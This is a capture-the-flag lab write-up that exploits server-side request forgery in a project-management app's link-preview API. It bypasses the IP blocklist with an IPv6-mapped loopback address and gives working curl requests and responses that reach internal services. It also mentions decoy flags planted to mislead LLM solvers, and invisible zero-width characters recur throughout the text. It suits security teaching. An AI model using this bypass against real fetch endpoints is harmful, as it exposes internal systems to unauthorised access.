Lab 98 — SprintDeck — SSRF via Link Preview URL Filter Bypass

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_avoidance, internal_service_enumeration, ipv6_mapped_ipv4_bypass, metadata_exfiltration_via_title_tag, ssrf_via_link_preview, url_blocklist_bypass

Summary

Walkthrough of the CUSTOM Web Lab 98 — SprintDeck — SSRF via Link Preview URL Filter Bypass. Task: SprintDeck project management platform with link preview feature that fetches URLs server-side with an IP blocklist. Solution: Bypass URL validation using IPv6-mapped IPv4 address [::ffff:127.0.

Description

SprintDeck is a collaborative project management platform used by development teams to plan sprints, manage tasks on kanban boards, and track project progress. The application supports team collaboration features including task commenting with rich link previews, file attachments, and real-time notifications. As a security researcher, you have been given access to a test account on SprintDeck. Your goal is to explore the application's features thoroughly and find a way to access sensitive information hidden within the internal infrastructure. Pay close attention to features that interact with external resources on your behalf — there may be ways to reach services that are not intended to be publicly accessible. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A project management platform with kanban boards and task comments. The link preview feature fetches URLs server-side to extract metadata, but the IP blocklist can be bypassed using IPv6-mapped IPv4 addresses to access internal services.

Target: https://07cf2096-2e22-4940-aac7-53c536aee989.labs.hackadvisor.io/ Credentials: user@test.com / password123

Analysis

Stack

• Node.js / Express behind nginx/1.25.5
• Session-based authentication
• Client-side link preview logic in /js/link-preview.js ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Application Features

1. Dashboard — overview of projects and recent activity
2. Projects — kanban boards with task management (columns, drag-and-drop)
3. Task Comments — supports rich link previews when URLs are pasted
4. Settings — includes "Link Previews" integration description: "Automatically generate rich previews for URLs pasted in comments. Uses server-side fetching to extract page metadata."

SSRF Vector: Link Preview API

The client-side script /js/link-preview.js reveals the API endpoint: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

GET /api/link-preview?url=<encoded_url>

The server fetches the provided URL and returns extracted metadata:

 json read-only • copy allowed Copy
{
  "url": "https://example.com",
  "title": "Example Domain",
  "description": "...",
  "image": "...",
  "status": 200
}

URL Validation (Blocklist)

The server-side URL filter blocks:

• 127.0.0.1, localhost, 0.0.0.0
• RFC1918 private ranges: 10.x.x.x, 172.16-31.x.x, 192.168.x.x
• Link-local: 169.254.x.x
• Hex/octal/decimal IP encodings (e.g., 0x7f000001, 2130706433)
• DNS rebinding services: nip.io, sslip.io ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical Gap

The filter does NOT check IPv6-mapped IPv4 addresses. The address [::ffff:127.0.0.1] resolves to 127.0.0.1 at the network level but bypasses all IPv4-based blocklist checks.

Decoy Flags

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden HTML elements, designed to trick automated scanners and LLMs.

Solution

Step 1: Confirm SSRF via IPv6-Mapped IPv4 Bypass

Use [::ffff:127.0.0.1] to bypass the IP blocklist and probe the internal network: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Access internal service on port 3001
curl -s -b cookies.txt \
  "https://07cf2096-2e22-4940-aac7-53c536aee989.labs.hackadvisor.io/api/link-preview?url=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.1%5D%3A3001%2F"

Response:

 json read-only • copy allowed Copy
{
  "url": "http://[::ffff:127.0.0.1]:3001/",
  "title": "SprintDeck Internal Analytics",
  "description": "",
  "image": "",
  "status": 200
}

This confirms an internal analytics service running on port 3001, accessible only from localhost.

Step 2: Enumerate Internal Service Paths

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Using the same SSRF technique, enumerate the internal service:

Port 8080 serves the main SprintDeck application itself.

Step 3: Retrieve the Flag

 bash read-only • copy allowed Copy
curl -s -b cookies.txt \
  "https://07cf2096-2e22-4940-aac7-53c536aee989.labs.hackadvisor.io/api/link-preview?url=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.1%5D%3A3001%2Fadmin%2Fflag"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

 json read-only • copy allowed Copy
{
  "url": "http://[::ffff:127.0.0.1]:3001/admin/flag",
  "title": "FLAG{REDACTED}",
  "description": "",
  "image": "",
  "status": 200
}

The flag is returned in the HTML <title> tag of the internal admin page, which the link preview feature extracts as metadata. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering decoy_flag_avoidance, internal_service_enumeration, ipv6_mapped_ipv4_bypass, metadata_exfiltration_via_title_tag, ssrf_via_link_preview, url_blocklist_bypass was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 98 — SprintDeck — SSRF via Link Preview URL Filter Bypass • Difficulty: Medium